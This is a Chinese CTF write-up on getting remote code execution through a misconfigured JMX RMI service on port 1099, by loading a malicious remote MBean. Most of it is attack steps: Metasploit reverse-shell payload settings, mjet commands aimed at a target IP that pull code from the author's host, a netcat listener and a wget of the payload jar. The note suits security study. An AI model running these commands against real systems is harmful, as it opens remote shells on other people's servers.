0x00

前几天的阿里 CTF 决赛中,Linux 渗透出了一道 JXM RMI 远程代码执行的题目。由于我太渣,所以没有做出来QWQ。赛后咨询了一下官方人员这道题目的 Writeup,做一个笔记。

1099端口原本对应的服务为 Apache ActiveMQ 对 JMX 的支持,但是由于配置不当,导致攻击者可以通过此端口利用 javax.management.loading.MLet的getMBeansFromURL 方法来加载一个远端恶意的 MBean ,即可以远程执行任意代码。当然,这个 JMX 的利用方法不仅仅在 ActiveMQ 上能够利用,在很多服务支持 JMX 的情况下其实也能够适用。

以上文字引用某官方人员的解释。
在 Github 上有一个关于本漏洞的 exp,叫做 mjet,我们可以利用它来配合 metasploit 进行攻击。

不过如果你不喜欢 metasploit 的话,那么可以忽略下面的这一段。

0x01

下载 mjet,README:

Installation (with the github version of Metasploit)

Copy the "MBean" folder to "data/java/metasploit"
Copy java_mlet_server.rb to "modules/exploits/multi/misc/"

根据这里的提示将这个模块集成到 msf 里面,接着运行 msf,载入模块。

use exploit/multi/misc/java_mlet_server

随你喜欢的设置 payload。

set payload java/meterpreter/reverse_tcp 
set LHOST 103.238.227.183
set LPORT 8976


接着输入 run 跑起来。这时候会显示一个 listen 的 URL,这里的 URL 就是我们的 Evil MBean 的地址。复制这个地址作为 mjet 的参数,运行:

java -jar mjet.jar -p 1099 -u http://103.238.227.183:8080/o5jSTI5rEWJw6Is/ -t 42.96.150.237


接着 msf 就拿到 session 了。

0x02

不过 msf 真的太重了,所以完全可以独立出来。利用 msf 生成 payload 之后,我们可以把它下载下来。考虑到本来 java 的 payload 就不多,能用的也就那几个,所以我用 java/shell_reverse_tcp 生成一个 evil 的 jar 包,还有 MBean 的地址:

set payload java/shell_reverse_tcp
set LHOST ricter.me
set LPORT 23333
run

生成 payload 之后直接下载到一个文件夹,关闭 msf。

其中 index.html 是我们的 MBean 内容。

0x03

nc 监听本地的 23333 端口,然后运行:

java -jar mjet.jar -p 1099 -u http://static.ricter.me/jmx/ -t 42.96.150.237

http://static.ricter.me/jmx/ 是存放的 evil MBean 和 jar 包的地址。
收到反弹的 shell:

0x04

我们可以很容易的修改 IP 和监听的端口,然后适配你自己的环境。

wget static.ricter.me/jmx/HjmbztqT.jar
unzip HjmbztqT.jar
vi metasploit.dat


之后重新打包压缩为 zip,然后修改后缀名为 jar。

参考

  1. http://www.n0tr00t.com/2015/04/16/JMX-RMI-Exploit.html
  2. http://www.accuvant.com/blog/exploiting-jmx-rmi&hl=en&strip=1
  3. http://drops.wooyun.org/papers/178